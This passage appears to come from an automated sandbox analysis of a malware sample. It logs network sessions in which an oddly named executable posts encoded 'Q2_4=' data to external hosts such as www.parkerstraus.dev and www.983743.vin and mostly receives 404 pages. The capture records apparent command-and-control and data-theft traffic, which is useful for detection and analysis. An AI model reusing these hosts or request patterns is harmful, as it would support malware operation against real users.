Q2_4=M9JY2GpuIXYQ5yqg1IQXlvV9Hh6HE9o5wK8MxBqXLDbfKsy73rvrk/QF/DBqcOYugHqiMxDW3HJjE4Cm0ac9rOlaihXf5QLLmI7LqOHyyCc6/bbqP+u/8iCHkCsd6ijW/uY2jhoDKlqrhXokLtLLnUWGQpdtMijOeRrmDN7zGmuHQrHELJwvaRjUQdF/23RqlZrCeFnTVKgJnsg3Yk2+wrSFnzw2LLcLpTtLO4uXg0fma0wA1sPL75r9/gvzZI3ST+ISLASvtYZ/3WWkCgZKW9GxoeBCrOYygKvGB9AvzR8KsLP36EyhoritWsICgd6Z/83mxw+vRIR9zDb7RKT+/ZGSOJOwVlM57XWdWSu2AQR4ZJWYbN9nvxYoh1IXr1hC95WdtiKXH3ZASgKWlooiE8c60GrhIfM+HQH9T1CPCJSxQzCVrs4ijy6jKK6sFnOa29H2nitclEQZj9x01EgH611W5WhkcT8PqhmFNGfNvBL1+w9vf6Rq3F8StFDr+rYc1YyTgxExdpSD0Ze4ZJgnaMY+VK7jHc3MCXORrugBd5GRwSUIJP05R55naQPEAbbiocMl/PpGAU7QTbIFaQVxfgFeMKo98qwyxEffxpGzYcpi/jCiB/r9G6mwv2NmHTkLxx9kibiQF+4rHkytR0py7Es202QOjIBPhlmHGt+TMxzzTPlzLynrLeSFaOLuPKs09t3fFKSgaMOpfPQk8SRD+Dk3UKcF9kM6dWoQ1E1ZPgCLKEtROjA8Q+3HxSeI5CuupXJnrZXeqsFZRTP/DIgn1Xu9alN+OXI/q91Vs8U3XU7GfkwmOLVvV6ZkApg7tjb1kSiHNJ0mS2mcM4nxCQM0LQJH7jZ8iQXi7C0R2quJFuxLV0nNqft82c1C32+qL9KHvg/TaalWRppbH1wNvSgPuSTR3Fa4IoTaq/3x/+1JPWlNV4mDhzQPBrDOWbPvanr7iT/aZ4VONlfFkqQTaJo7/gc8FUUK9OKcW5n9QqQaOPg0FHG [TRUNCATED]
Nov 5, 2024 15:36:01.174261093 CET	5308	OUT	Data Raw: 64 33 32 58 56 45 70 6a 6a 68 33 64 36 4a 30 38 63 4c 57 45 65 7a 56 4c 50 31 54 66 36 37 48 55 6f 34 64 67 71 4f 43 79 49 70 61 4b 59 58 50 69 66 53 4e 59 53 55 35 55 4f 49 54 4f 4e 58 2b 70 2b 4c 63 55 4c 2b 7a 30 6d 33 74 4d 74 6c 54 43 6e 65 Data Ascii: d32XVEpjjh3d6J08cLWEezVLP1Tf67HUo4dgqOCyIpaKYXPifSNYSU5UOITONX+p+LcUL+z0m3tMtlTCnefkRqQGydMjcVt6WSJlt+EJEcupjJOc0R8gxHTgRdY0PvmXkS9NUTml6pe+o3bzniFP3xAab5A9a6xeI4stK4sVa6fAbOS5ZRNxjp5OHw3EadyZGqETPC4Ou6tRsxrRvkQ2RQY26Fdamel7ma+fv0QTRzyYFTRwfLH
Nov 5, 2024 15:36:01.486511946 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:36:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49773	45.150.55.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:04.022237062 CET	454	OUT	GET /yg1w/?Q2_4=B/h41wdzKHxv2H2J8JkNr9NyFguRLdtCgIEX5jqCPHbFCbPf8ZDAyvcb9g9cRq9SizS8TlHunVk6R9fe76EcgvsehxPtxmeCiZqIleDJmBUfq+mqOPWirkU=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.983743.vin User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:36:04.342394114 CET	330	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:36:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49774	50.19.214.227	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:09.638406992 CET	735	OUT	POST /ppmq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.parkerstraus.dev Origin: http://www.parkerstraus.dev Referer: http://www.parkerstraus.dev/ppmq/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 48 54 39 75 74 66 31 2b 45 79 71 67 6f 2b 69 75 67 62 37 72 50 42 62 49 6d 68 78 68 53 6b 30 69 39 47 75 76 71 55 49 57 4c 63 67 62 57 51 6d 64 76 6f 6a 37 71 67 38 50 45 68 78 75 73 45 65 64 39 34 36 57 2b 43 43 30 4b 45 6d 39 42 45 7a 39 79 69 73 37 4c 62 4b 48 31 45 6b 33 43 6b 79 6a 58 62 34 7a 36 34 66 6b 48 39 50 36 64 4b 67 5a 33 2b 32 70 77 75 57 66 70 35 52 34 63 6b 6d 44 6a 62 32 50 31 55 37 48 4a 78 39 59 52 32 76 52 42 58 38 79 56 46 46 49 45 45 53 73 51 7a 43 46 58 61 59 7a 33 32 74 70 59 54 56 49 69 41 2f 4a 4d 45 52 43 2b 33 33 64 57 52 55 62 77 35 67 76 56 51 3d 3d Data Ascii: Q2_4=HT9utf1+Eyqgo+iugb7rPBbImhxhSk0i9GuvqUIWLcgbWQmdvoj7qg8PEhxusEed946W+CC0KEm9BEz9yis7LbKH1Ek3CkyjXb4z64fkH9P6dKgZ3+2pwuWfp5R4ckmDjb2P1U7HJx9YR2vRBX8yVFFIEESsQzCFXaYz32tpYTVIiA/JMERC+33dWRUbw5gvVQ==
Nov 5, 2024 15:36:09.771873951 CET	1240	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Tue, 05 Nov 2024 14:36:09 GMT Server: Netlify X-Nf-Request-Id: 01JBYC29JXT9Z7D0083Z51WAZ4 Connection: close Transfer-Encoding: chunked Data Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c [TRUNCATED] Data Ascii: 9b5<!doctype html><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><title>Site Not Found</title><style>:root{--colorDefaultTextColor:#A3A9AC;--colorDefaultTextColorCard:#2D3B41;--colorBgApp:rgb(14, 30, 37);--colorBgInverse:hsl(175, 48%, 98%);--colorTextMuted:rgb(100, 110, 115);--colorError:#D32254;--colorBgCard:#fff;--colorShadow:#0e1e251f;--colorErrorText:rgb(142, 11, 48);--colorCardTitleCard:#2D3B41;--colorStackText:#222;--colorCodeText:#F5F5F5}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol;background:#34383c;color:#fff;overflow:hidden;margin:0;padding:0;font-size:1rem;line-height:1.5}h1{margin:0;font-size:1.375rem;line-height:1.2}.main{position:relative;display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;width:100vw}.card{position:relative;display:flex;flex-direction:column;width:75%;max-width: [TRUNCATED]
Nov 5, 2024 15:36:09.771974087 CET	1240	IN	Data Raw: 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 65 31 65 32 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 31 34 2c 33 30 2c 33 37 2c 2e 31 36 29 7d 61 7b 6d 61 72 67 Data Ascii: fff;color:#0e1e25;border-radius:8px;box-shadow:0 2px 4px rgba(14,30,37,.16)}a{margin:0;font-weight:600;line-height:24px;color:#054861}a svg{position:relative;top:2px}a:hover,a:focus{text-decoration:none}a:hover svg path{fill:#007067}p:last-of-
Nov 5, 2024 15:36:09.771981001 CET	504	IN	Data Raw: 75 72 63 65 3d 34 30 34 70 61 67 65 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 63 6f 6d 6d 75 6e 69 74 79 5f 74 72 61 63 6b 69 6e 67 22 3e 22 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 20 73 75 70 70 6f 72 74 20 67 75 69 64 65 3c 2f 61 3e 0a 66 Data Ascii: urce=404page&utm_campaign=community_tracking">"page not found" support guide</a>for troubleshooting tips.<p style=color:var(--colorTextMuted)>Netlify Internal ID:<span class="inline-code request-id"><code>11b01JBYC29JXT9Z7D0083Z51WAZ4</c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49775	50.19.214.227	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:12.281435966 CET	755	OUT	POST /ppmq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.parkerstraus.dev Origin: http://www.parkerstraus.dev Referer: http://www.parkerstraus.dev/ppmq/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 48 54 39 75 74 66 31 2b 45 79 71 67 6f 65 79 75 6a 38 58 72 59 78 62 4c 70 42 78 68 62 45 31 72 39 47 71 76 71 52 78 4c 4c 4b 34 62 56 77 32 64 2b 64 58 37 6d 41 38 50 4c 42 78 72 76 30 66 77 39 34 32 67 2b 48 36 30 4b 45 43 39 42 46 44 39 79 52 45 30 4b 4c 4b 46 36 6b 6b 31 47 6b 79 6a 58 62 34 7a 36 34 4c 43 48 38 6e 36 65 36 51 5a 30 62 43 6d 75 2b 57 65 67 5a 52 34 59 6b 6d 48 6a 62 33 61 31 56 33 68 4a 33 68 59 52 33 66 52 41 46 55 78 66 46 46 52 5a 30 54 67 57 52 48 4d 64 61 6b 66 78 56 38 31 5a 52 52 4d 75 32 75 54 52 32 6c 6d 39 6b 72 76 53 68 74 7a 79 37 68 30 49 5a 36 34 30 58 6e 31 63 75 6f 63 4b 45 54 30 61 79 34 62 71 35 6b 3d Data Ascii: Q2_4=HT9utf1+Eyqgoeyuj8XrYxbLpBxhbE1r9GqvqRxLLK4bVw2d+dX7mA8PLBxrv0fw942g+H60KEC9BFD9yRE0KLKF6kk1GkyjXb4z64LCH8n6e6QZ0bCmu+WegZR4YkmHjb3a1V3hJ3hYR3fRAFUxfFFRZ0TgWRHMdakfxV81ZRRMu2uTR2lm9krvShtzy7h0IZ640Xn1cuocKET0ay4bq5k=
Nov 5, 2024 15:36:12.408978939 CET	1240	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Tue, 05 Nov 2024 14:36:12 GMT Server: Netlify X-Nf-Request-Id: 01JBYC2C5EK6FZCGARX881VH00 Connection: close Transfer-Encoding: chunked Data Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c [TRUNCATED] Data Ascii: 9b5<!doctype html><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><title>Site Not Found</title><style>:root{--colorDefaultTextColor:#A3A9AC;--colorDefaultTextColorCard:#2D3B41;--colorBgApp:rgb(14, 30, 37);--colorBgInverse:hsl(175, 48%, 98%);--colorTextMuted:rgb(100, 110, 115);--colorError:#D32254;--colorBgCard:#fff;--colorShadow:#0e1e251f;--colorErrorText:rgb(142, 11, 48);--colorCardTitleCard:#2D3B41;--colorStackText:#222;--colorCodeText:#F5F5F5}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol;background:#34383c;color:#fff;overflow:hidden;margin:0;padding:0;font-size:1rem;line-height:1.5}h1{margin:0;font-size:1.375rem;line-height:1.2}.main{position:relative;display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;width:100vw}.card{position:relative;display:flex;flex-direction:column;width:75%;max-width: [TRUNCATED]
Nov 5, 2024 15:36:12.409024000 CET	1240	IN	Data Raw: 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 65 31 65 32 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 31 34 2c 33 30 2c 33 37 2c 2e 31 36 29 7d 61 7b 6d 61 72 67 Data Ascii: fff;color:#0e1e25;border-radius:8px;box-shadow:0 2px 4px rgba(14,30,37,.16)}a{margin:0;font-weight:600;line-height:24px;color:#054861}a svg{position:relative;top:2px}a:hover,a:focus{text-decoration:none}a:hover svg path{fill:#007067}p:last-of-
Nov 5, 2024 15:36:12.409080029 CET	504	IN	Data Raw: 75 72 63 65 3d 34 30 34 70 61 67 65 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 63 6f 6d 6d 75 6e 69 74 79 5f 74 72 61 63 6b 69 6e 67 22 3e 22 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 20 73 75 70 70 6f 72 74 20 67 75 69 64 65 3c 2f 61 3e 0a 66 Data Ascii: urce=404page&utm_campaign=community_tracking">"page not found" support guide</a>for troubleshooting tips.<p style=color:var(--colorTextMuted)>Netlify Internal ID:<span class="inline-code request-id"><code>11b01JBYC2C5EK6FZCGARX881VH00</c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49776	50.19.214.227	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:14.921763897 CET	2480	OUT	POST /ppmq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.parkerstraus.dev Origin: http://www.parkerstraus.dev Referer: http://www.parkerstraus.dev/ppmq/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 48 54 39 75 74 66 31 2b 45 79 71 67 6f 65 79 75 6a 38 58 72 59 78 62 4c 70 42 78 68 62 45 31 72 39 47 71 76 71 52 78 4c 4c 4b 41 62 57 44 75 64 76 4b 4c 37 6c 41 38 50 43 68 78 71 76 30 65 79 39 34 65 38 2b 48 48 57 4b 47 71 39 42 6d 4c 39 30 67 45 30 44 4c 4b 46 34 6b 6b 32 43 6b 79 4d 58 62 49 33 36 34 62 43 48 38 6e 36 65 35 49 5a 69 2b 32 6d 73 2b 57 66 70 35 52 38 63 6b 6d 72 6a 62 2f 4b 31 56 6a 75 4a 45 35 59 66 33 50 52 44 32 38 78 46 46 46 54 61 30 53 39 57 51 37 50 64 61 34 54 78 52 31 69 5a 57 4e 4d 75 7a 6a 4c 55 6e 6c 39 67 48 66 38 5a 68 52 76 32 4a 31 42 4a 6f 69 6d 38 30 33 2f 44 61 67 79 4d 33 37 68 43 77 51 69 6f 65 36 31 59 30 64 34 50 66 35 78 32 77 72 31 33 62 4c 36 77 43 75 56 32 37 58 6b 54 38 34 36 6d 7a 4c 2b 6c 70 48 61 52 39 46 61 38 67 4b 2b 44 52 47 5a 66 4a 6e 48 69 63 33 44 79 2b 78 73 36 6d 6e 69 32 6f 54 64 6b 30 68 51 35 47 70 46 45 4c 31 6e 68 44 4d 38 78 39 6f 79 6c 31 58 2f 71 4b 58 72 6c 76 2f 56 33 70 62 66 71 70 68 44 5a 41 6b 77 7a 42 6d 33 4d [TRUNCATED] Data Ascii: Q2_4=HT9utf1+Eyqgoeyuj8XrYxbLpBxhbE1r9GqvqRxLLKAbWDudvKL7lA8PChxqv0ey94e8+HHWKGq9BmL90gE0DLKF4kk2CkyMXbI364bCH8n6e5IZi+2ms+Wfp5R8ckmrjb/K1VjuJE5Yf3PRD28xFFFTa0S9WQ7Pda4TxR1iZWNMuzjLUnl9gHf8ZhRv2J1BJoim803/DagyM37hCwQioe61Y0d4Pf5x2wr13bL6wCuV27XkT846mzL+lpHaR9Fa8gK+DRGZfJnHic3Dy+xs6mni2oTdk0hQ5GpFEL1nhDM8x9oyl1X/qKXrlv/V3pbfqphDZAkwzBm3MViVyYNmPFv83ST0w1rmbGPkGciuDH2TvGh9nRL4oLzBvQL1QrormZzYj14uV80FUn1Z4MYAEJ5npgHZIek6XXr1//XUyRyPWvbQ6rDNfguSvGJydhkPdECzqikHTU57x6NAtQeBjmoEbrPwicU7PHntQ3sQG03hpo6opnDA8pv1b7m35LnTCCCn8sfaRgkHUzYB0XVS/2RCe4EUQ6HAdGUFRhUM1/6jZ9l1j/hM3Jirj+92dfaDAJDmAJfNjiF+G4RwvkIqhp6tGEydi4iO+yMxOt+iYF0HzgOS9RBLjVRURzXmMTitw09DJwMJviwYxRRRb6Aq98+Xg60BesWD9DGFIESh8mi+EiqB7c7dOhH1CJUW2/3nsU4VkvK1IobgDd/CmPqkS0D+L1H7CnxBJummaQmYluV8vwl6bxPbbSt5EvDbyeI5pcPYBoyJolgQvATQ3HGE6a9tucwfYxdRg3Udizta8LoU8RZowNHf00Y5WRJdFK6QSJlUgyOdyK99lnGjbVpecV0hjKB70cf4cPXwzzlg0V//wb7eGqkwJTU9inlBLsJ6fChYQP1Z4u1PJrpOYFymDHIemD+1IlaJr7IVCkEc93cQz579QddxcEUPfGBawP+NANmjy+1v5frcNFj3N2wvKfE18xRx+vOEYgWIBT9MrKvZWhY [TRUNCATED]
Nov 5, 2024 15:36:14.921844006 CET	5424	OUT	Data Raw: 4e 78 72 69 51 79 34 46 6a 36 33 4e 59 2f 30 47 77 50 53 55 4a 62 77 4f 6c 57 77 4a 66 55 70 38 59 57 54 64 6f 7a 50 30 4e 68 32 79 50 36 37 48 47 2f 47 46 78 31 53 30 63 34 57 76 2f 75 68 78 4b 53 66 72 34 32 7a 2b 68 2b 35 56 5a 66 4a 71 61 72 Data Ascii: NxriQy4Fj63NY/0GwPSUJbwOlWwJfUp8YWTdozP0Nh2yP67HG/GFx1S0c4Wv/uhxKSfr42z+h+5VZfJqarneZhvRf6vmA0rZvi22CKW3OJX9EvM/JYHc8Io+fHBtNmnbor2Vb7kB6THQkz08HjbW9yXW66ghMbp3vXrfT3h6gmtNN8JH92xRUOsIgRcd1P7ud/kqXHtMZ29dOhgIRQiM2hTcUjBNEj4MmqHEXNe8diJzJM1EKaW
Nov 5, 2024 15:36:15.055460930 CET	1240	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Tue, 05 Nov 2024 14:36:15 GMT Server: Netlify X-Nf-Request-Id: 01JBYC2ER0S7X9JQPQV0N533C2 Connection: close Transfer-Encoding: chunked Data Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c [TRUNCATED] Data Ascii: 9b5<!doctype html><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><title>Site Not Found</title><style>:root{--colorDefaultTextColor:#A3A9AC;--colorDefaultTextColorCard:#2D3B41;--colorBgApp:rgb(14, 30, 37);--colorBgInverse:hsl(175, 48%, 98%);--colorTextMuted:rgb(100, 110, 115);--colorError:#D32254;--colorBgCard:#fff;--colorShadow:#0e1e251f;--colorErrorText:rgb(142, 11, 48);--colorCardTitleCard:#2D3B41;--colorStackText:#222;--colorCodeText:#F5F5F5}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol;background:#34383c;color:#fff;overflow:hidden;margin:0;padding:0;font-size:1rem;line-height:1.5}h1{margin:0;font-size:1.375rem;line-height:1.2}.main{position:relative;display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;width:100vw}.card{position:relative;display:flex;flex-direction:column;width:75%;max-width: [TRUNCATED]
Nov 5, 2024 15:36:15.055473089 CET	1240	IN	Data Raw: 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 65 31 65 32 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 31 34 2c 33 30 2c 33 37 2c 2e 31 36 29 7d 61 7b 6d 61 72 67 Data Ascii: fff;color:#0e1e25;border-radius:8px;box-shadow:0 2px 4px rgba(14,30,37,.16)}a{margin:0;font-weight:600;line-height:24px;color:#054861}a svg{position:relative;top:2px}a:hover,a:focus{text-decoration:none}a:hover svg path{fill:#007067}p:last-of-
Nov 5, 2024 15:36:15.055484056 CET	504	IN	Data Raw: 75 72 63 65 3d 34 30 34 70 61 67 65 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 63 6f 6d 6d 75 6e 69 74 79 5f 74 72 61 63 6b 69 6e 67 22 3e 22 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 20 73 75 70 70 6f 72 74 20 67 75 69 64 65 3c 2f 61 3e 0a 66 Data Ascii: urce=404page&utm_campaign=community_tracking">"page not found" support guide</a>for troubleshooting tips.<p style=color:var(--colorTextMuted)>Netlify Internal ID:<span class="inline-code request-id"><code>11b01JBYC2ER0S7X9JQPQV0N533C2</c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49777	50.19.214.227	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:17.560540915 CET	460	OUT	GET /ppmq/?uXP=1HX8&Q2_4=KRVOuqNXYxyDgODQvejwfHP1kSw7YgglxTu2jlorf4EUTkuZz6rgp0sXDkV2rkGK77WHny3VDG/xcSWz2Ew3DtXH4m1AMWH2WLdk5ansbP7qCtZCj8eJzNQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.parkerstraus.dev User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
